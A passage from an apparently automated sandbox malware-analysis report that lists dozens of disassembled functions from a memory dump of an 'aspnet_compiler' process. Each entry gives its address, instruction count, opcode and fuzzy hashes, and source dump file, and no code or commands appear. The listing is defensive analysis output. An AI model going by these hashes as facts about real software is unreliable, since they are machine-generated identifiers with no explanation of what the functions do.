                                                        • API String ID:
                                                        • Opcode ID: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                        • Instruction ID: 5223053fd6fa0bd90cd5a28bb4bbf2bf12a9a2730a3ea1d6f52da3d8ebce4822
                                                        • Opcode Fuzzy Hash: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                                        • Instruction Fuzzy Hash: 28E0C231070A55EFDB322F15DC01F72BAA5FF54B11F10497DE281160A887B1AC81CB44
                                                        Function 012B2050 Relevance: .0, Instructions: 20COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c8bb8a92ffac50b91babb1db7519052fecf3f0913305fd70b1ffc1347c71a702
                                                        • Instruction ID: 37492354b348e2165bd709b06280e7ec5dd8e5ec0176a7169b2ca9824ec9e051
                                                        • Opcode Fuzzy Hash: c8bb8a92ffac50b91babb1db7519052fecf3f0913305fd70b1ffc1347c71a702
                                                        • Instruction Fuzzy Hash: C0E0C232110590ABC311FB5DDD81FAA739EEFB47B0F044225F151872E0CA20BD00C794
                                                        Function 013392BC Relevance: .0, Instructions: 20COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dac02fb085e7e5a340b2ea95ffe4641852c9b8e873ced4c009b96398760fa876
                                                        • Instruction ID: af07d5c65bc50a9e2a4d019bad86299a663982fae3dda586fad9089c9dc2d8fa
                                                        • Opcode Fuzzy Hash: dac02fb085e7e5a340b2ea95ffe4641852c9b8e873ced4c009b96398760fa876
                                                        • Instruction Fuzzy Hash: B8F0C274251B84CFF62ACF08C1A1B6177B9FB85B48F910458D4868BBA1C73AA942CB44
                                                        Function 012AB562 Relevance: .0, Instructions: 17COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
                                                        • Instruction ID: 5e9f01740e44d65fd0ad56e629a9a9eb82928983fdca084fca46702b56269dd8
                                                        • Opcode Fuzzy Hash: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
                                                        • Instruction Fuzzy Hash: BFD05E31171661EFDB326F15FE09F967BB5AFA0F10F850928B241268F086A1ED98C690
                                                        Function 012EE59C Relevance: .0, Instructions: 16COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                        • Instruction ID: 3fe85973b9dc6a94320781fc7043a6dd55a89aea580d29d9d657ac805b0ff554
                                                        • Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                                        • Instruction Fuzzy Hash: A7D0A932254620ABD732AA1CFC00FD333E8BB88B24F060859F008C7050C360AC81CB84
                                                        Function 012AA0E3 Relevance: .0, Instructions: 15COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                        • Instruction ID: 86f0647a49b5f364537282e7de877527c028ecc1271877bed5b43c412ede19a0
                                                        • Opcode Fuzzy Hash: c1fe28d2b99599f70fe9b16ebd98ffdfbd128d642cd65cc2bf81b3ea4870f6a7
                                                        • Instruction Fuzzy Hash: 96D02232232031A3CB2896556800FAB6905AF80B90F0A002E760AA3800C0048C42C2E0
                                                        Function 0133930B Relevance: .0, Instructions: 12COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
                                                        • Instruction ID: 7038e597c0b4851f4a1b25de4823a049219db457f811980fdb49f94953cd0619
                                                        • Opcode Fuzzy Hash: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
                                                        • Instruction Fuzzy Hash: 1ED05E75941AC4CFE727CB08C1A5B907BF4F745B58F891098E0424BBA2C3BC9984CB00
                                                        Function 012D0310 Relevance: .0, Instructions: 11COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                        • Instruction ID: 35ff3cb23a66c97086ec11c71e39a79cd9db127df2723a0715409eab2fa3676e
                                                        • Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                                        • Instruction Fuzzy Hash: 22D01236110248EFCB01DF41C890DAA772AFBD8710F108019FD19076108A31ED62DA50
                                                        Function 012D340D Relevance: .0, Instructions: 10COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
                                                        • Instruction ID: 74908e1f7d643d9c17748596baaa210e47757b438d4dbbb598ae1b6b511f0ed3
                                                        • Opcode Fuzzy Hash: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
                                                        • Instruction Fuzzy Hash: 55C08CBC1A15826AEB2BD704C900B3C3A50FB00A06F84469CAB40294A2C36C98028318
                                                        Function 012F3010 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c5f609327709f5f833fb7e7083e4d5f266a80e0c2a635aa3f209656ddf46b8f9
                                                        • Instruction ID: 9881245b2afb11440fc2aaffc2a007675867d96c340bbdc83c5fb841743c1a3f
                                                        • Opcode Fuzzy Hash: c5f609327709f5f833fb7e7083e4d5f266a80e0c2a635aa3f209656ddf46b8f9
                                                        • Instruction Fuzzy Hash: F4900225601C4482E141725C4814B0F414597E1206F95C059A4156598CC91589995721
                                                        Function 012F3090 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a3a354eccce2e229ed4e1939f1b9790289545a65858fa04397226ddc74383669
                                                        • Instruction ID: 63adb033d7e188291c7522e41ea0bdcda5acb1c97bb0b94d722ea7eb56c7b05a
                                                        • Opcode Fuzzy Hash: a3a354eccce2e229ed4e1939f1b9790289545a65858fa04397226ddc74383669
                                                        • Instruction Fuzzy Hash: 4890022564180842E141715C84247070046D7D0605F55C051A0024598DC6168AA967B1
                                                        Function 012F4340 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 10e90709190e0383fb711147be5bf84cd3d7c72537bc28778727571ea680e776
                                                        • Instruction ID: 8b29b98b6077d84080d84d9da80cdbb9cdcd5802fbc2fe8d7d9e2ed49813a410
                                                        • Opcode Fuzzy Hash: 10e90709190e0383fb711147be5bf84cd3d7c72537bc28778727571ea680e776
                                                        • Instruction Fuzzy Hash: F0900235A05C0052E141715C48945464045A7E0305B55C051E0424598CCA148A9A5361
                                                        Function 012F4650 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d8ed070a45fef1949fb329afa0ff4081427f075402c411eecb4383d24350d94a
                                                        • Instruction ID: 171117999dc358bd06cef7a2247fd4e01438e35a633f5cb9ad9e27bee41c58b8
                                                        • Opcode Fuzzy Hash: d8ed070a45fef1949fb329afa0ff4081427f075402c411eecb4383d24350d94a
                                                        • Instruction Fuzzy Hash: D6900265A01900829141715C48144066045A7E1305395C155A05545A4CC61889999369
                                                        Function 012F39B0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 17c694b7ce97e1f2553e90f03ee4d55d69427bcfa9392b4565b47f0cd5e1df8f
                                                        • Instruction ID: 882c27d4e3b288d1901213467098a3eb87f479166102f125eca5e06ecd81448a
                                                        • Opcode Fuzzy Hash: 17c694b7ce97e1f2553e90f03ee4d55d69427bcfa9392b4565b47f0cd5e1df8f
                                                        • Instruction Fuzzy Hash: EE90022564585142E151715C44146164045B7E0205F55C061A08145D8DC55589996321
                                                        Function 012F2BA0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 1c9dcadf974eda2c49fc0cea3da31c5b5c783f1ea7883796f3ac79ed7b7ee04f
                                                        • Instruction ID: 2acd298b7fd5264b3bbc8d17ff5dee45bf973b556af5c5962f16d9e1203a77f8
                                                        • Opcode Fuzzy Hash: 1c9dcadf974eda2c49fc0cea3da31c5b5c783f1ea7883796f3ac79ed7b7ee04f
                                                        • Instruction Fuzzy Hash: 05900235A0580842E151715C4424746004597D0305F55C051A0024698DC7558B9977A1
                                                        Function 012F2B80 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 4c883a89c7c697361a562f41bb39bc55b08ac79fbd172def22a2920d2f026ca7
                                                        • Instruction ID: 78b13298cd37f42015dafee93e4c89df66f9ee557c5b1ab4b446a95146e1103d
                                                        • Opcode Fuzzy Hash: 4c883a89c7c697361a562f41bb39bc55b08ac79fbd172def22a2920d2f026ca7
                                                        • Instruction Fuzzy Hash: 7990023560180842E105715C4814686004597D0305F55C051A6024699ED66589D57231
                                                        Function 012F2BE0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: d8f74290566d444f618ea85e6e818031ae6f38a893cfaf972d1302b4cd566ade
                                                        • Instruction ID: 52820308325512396c4fb3d30a11077fa4c0b1d1fdb4051226fcfab3c75d234c
                                                        • Opcode Fuzzy Hash: d8f74290566d444f618ea85e6e818031ae6f38a893cfaf972d1302b4cd566ade
                                                        • Instruction Fuzzy Hash: 6A90023560584882E141715C4414A46005597D0309F55C051A00646D8DD6258E99B761
                                                        Function 012F2BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: cb1a01f974c0a8502533efdf043e3b78c3eaac17ae1990e06dc4bc79cafaf741
                                                        • Instruction ID: 8ec3302b85f48942ddcc4107435947466279bfb1d3c6057c916ce5b75b3c1239
                                                        • Opcode Fuzzy Hash: cb1a01f974c0a8502533efdf043e3b78c3eaac17ae1990e06dc4bc79cafaf741
                                                        • Instruction Fuzzy Hash: CB90023560180842E181715C441464A004597D1305F95C055A0025698DCA158B9D77A1
                                                        Function 012F2AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: c96b6a253708caa99e9095a9c2fddf4d277d99ce5ddf665af1d258c40f21fa19
                                                        • Instruction ID: a74b8e3c51a180120f6663c91d1e82c38d350d2ada8d3d4d11f1df8631a500d3
                                                        • Opcode Fuzzy Hash: c96b6a253708caa99e9095a9c2fddf4d277d99ce5ddf665af1d258c40f21fa19
                                                        • Instruction Fuzzy Hash: 9F9002A5601940D29501B25C8414B0A454597E0205B55C056E10545A4CC52589959235
                                                        Function 012F2AF0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6c6284f92bad9ae7950582e4eaa602ac5f362988161d2fa2307d4ffc6cc1c8ff
                                                        • Instruction ID: c8a5d90ec3f92db8db7824190e9f49afac778f8ca861c46d2646ae939cb55d01
                                                        • Opcode Fuzzy Hash: 6c6284f92bad9ae7950582e4eaa602ac5f362988161d2fa2307d4ffc6cc1c8ff
                                                        • Instruction Fuzzy Hash: B5900229621800425146B55C061450B0485A7D6355395C055F14165D4CC62189A95321
                                                        Function 012F2AD0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 893f5efc80c3251fd95f66e1dfbb8012140931f82fa871df00df0226b995bb6f
                                                        • Instruction ID: e6de8957ede4bdbfa23cc64c550fc3c3c82acd7d8177ce81ef4ba4e5d6540b77
                                                        • Opcode Fuzzy Hash: 893f5efc80c3251fd95f66e1dfbb8012140931f82fa871df00df0226b995bb6f
                                                        • Instruction Fuzzy Hash: FB900229611800435106B55C0714507008697D5355355C061F1015594CD62189A55221
                                                        Function 012F2D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 60a4698b6335ce8b4893ab1169afd547b052e00a507cae200a028e5e894230d3
                                                        • Instruction ID: cdfae4e1b9b4469696155d2245b4d22ab19260d20ae5ac4542232776767bd038
                                                        • Opcode Fuzzy Hash: 60a4698b6335ce8b4893ab1169afd547b052e00a507cae200a028e5e894230d3
                                                        • Instruction Fuzzy Hash: 0C90022570180043E141715C54286064045E7E1305F55D051E0414598CD915899A5322
                                                        Function 012F2D00 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 2e755a64648095aefe804012f45839164b37a6ad9640e0aaa2b932e83d6536f6
                                                        • Instruction ID: b8b77ebb9d5bf6009f94c298ce9b51573d59b7f2fdd73061390a8c1c32870d60
                                                        • Opcode Fuzzy Hash: 2e755a64648095aefe804012f45839164b37a6ad9640e0aaa2b932e83d6536f6
                                                        • Instruction Fuzzy Hash: 1F90022560584482E101755C5418A06004597D0209F55D051A10645D9DC6358995A231
                                                        Function 012F2D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3a4d5ac5fc83b29c4b7e9b6f74319fb57a3ec2e32ee7a60f16de0d231880f3c2
                                                        • Instruction ID: 1a9dfcab5dc651dbad96b46c35521e937f5d91acb411fbc997e2a9eaf54526bb
                                                        • Opcode Fuzzy Hash: 3a4d5ac5fc83b29c4b7e9b6f74319fb57a3ec2e32ee7a60f16de0d231880f3c2
                                                        • Instruction Fuzzy Hash: 6890022D61380042E181715C541860A004597D1206F95D455A001559CCC91589AD5321
                                                        Function 012F3D10 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 170144a1d0ab8c8e46a9471f3611671ad2033ac957cee777fc0e16f778285b64
                                                        • Instruction ID: 8f8027e1a1880632cd725371f5479493ce6e76712e6bd3c6c9c39faff928f537
                                                        • Opcode Fuzzy Hash: 170144a1d0ab8c8e46a9471f3611671ad2033ac957cee777fc0e16f778285b64
                                                        • Instruction Fuzzy Hash: DA90023560280182E541725C5814A4E414597E1306B95D455A0015598CC91489A55321
                                                        Function 012F3D70 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e6bb75a58c1e31470c810a8b3d51a2a4b851566a2e1f335b2a0461f86a2b29da
                                                        • Instruction ID: 16d0a5c0d13b1e4517de489960e2b8ba3489e58703eafcee627366e2291b166c
                                                        • Opcode Fuzzy Hash: e6bb75a58c1e31470c810a8b3d51a2a4b851566a2e1f335b2a0461f86a2b29da
                                                        • Instruction Fuzzy Hash: E690023960180442E511715C5814646008697D0305F55D451A042459CDC65489E5A221
                                                        Function 012F2DB0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8f2f3d47226ec02d722bb7ffd2a21150c66b5fcd4e0da358e283a7a363e2cd0c
                                                        • Instruction ID: b2d6c91f3e8005eec4afc7484ca7c7b231e08ea05d5241a5fdf36dcb6aad31eb
                                                        • Opcode Fuzzy Hash: 8f2f3d47226ec02d722bb7ffd2a21150c66b5fcd4e0da358e283a7a363e2cd0c
                                                        • Instruction Fuzzy Hash: B390023564180442E142715C44146060049A7D0245F95C052A0424598EC6558B9AAB61
                                                        Function 012F2DD0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 5d70b923c021626ca15a0454bd310785fb93f53a2e184b70322df6eb51d9a745
                                                        • Instruction ID: 0b179ebcef0aa1e2dcb2418156232e2643b55247fc61ef2e3c7c682ddbb68d24
                                                        • Opcode Fuzzy Hash: 5d70b923c021626ca15a0454bd310785fb93f53a2e184b70322df6eb51d9a745
                                                        • Instruction Fuzzy Hash: E390022564284192A546B15C44145074046A7E0245795C052A1414994CC526999AD721
                                                        Function 012F2C60 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: dd9cefca4a64a79f6ace67c5587d18deb9c129437d465ffaba58feeb7a30760e
                                                        • Instruction ID: 8331cc416c11ee83cb57293d3730d4b11b27f34306a7f2d1735342178e8ca334
                                                        • Opcode Fuzzy Hash: dd9cefca4a64a79f6ace67c5587d18deb9c129437d465ffaba58feeb7a30760e
                                                        • Instruction Fuzzy Hash: D890023560180882E101715C4414B46004597E0305F55C056A0124698DC615C9957621
                                                        Function 012F2CA0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 7ca805ef73d836b05de8f77063b742b9589bb4f6912f0566124eb02b4d98e619
                                                        • Instruction ID: e0a1b3e876f82e9ac6fa29f77b1be459cd5b975ffa8d3c862d5b64e6d1acdb0d
                                                        • Opcode Fuzzy Hash: 7ca805ef73d836b05de8f77063b742b9589bb4f6912f0566124eb02b4d98e619
                                                        • Instruction Fuzzy Hash: 9490023560180442E101759C5418646004597E0305F55D051A5024599EC66589D56231
                                                        Function 012F2CF0 Relevance: .0, Instructions: 4COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 289a3f83f84ab1dcc5d2e36a4b3b1a927a10ce9f4a3f17b42b93157ecb8bfdff
                                                        • Instruction ID: 2714c9276c409be6bae43d7ab7a65662820eb9238c148350d08adba9cf5b7eef
                                                        • Opcode Fuzzy Hash: 289a3f83f84ab1dcc5d2e36a4b3b1a927a10ce9f4a3f17b42b93157ecb8bfdff
                                                        • Instruction Fuzzy Hash: 4490023560180443E101715C5518707004597D0205F55D451A042459CDD65689956221
                                                        Function 012F2CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: bdcd48b0a71cc167abea9f3c9be199969602f9750266d29c715e389f0a337ca6
                                                        • Instruction ID: 67d8f8294fad7a86297a767c5b3df5d637adfd052bd15ffde4e72f383bfa7a2e
                                                        • Opcode Fuzzy Hash: bdcd48b0a71cc167abea9f3c9be199969602f9750266d29c715e389f0a337ca6
                                                        • Instruction Fuzzy Hash: BB900225A0580442E141715C5428706005597D0205F55D051A0024598DC6598B9967A1
                                                        Function 012F2F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 507f2a25e6d85b37f0a2182c014ad8127a606484c7341d644c82ebbe724d1c3f
                                                        • Instruction ID: 639fbbc12f9f3e1b834cdad27bf0c142211ffd5e179c668a33a877d3ddfcea98
                                                        • Opcode Fuzzy Hash: 507f2a25e6d85b37f0a2182c014ad8127a606484c7341d644c82ebbe724d1c3f
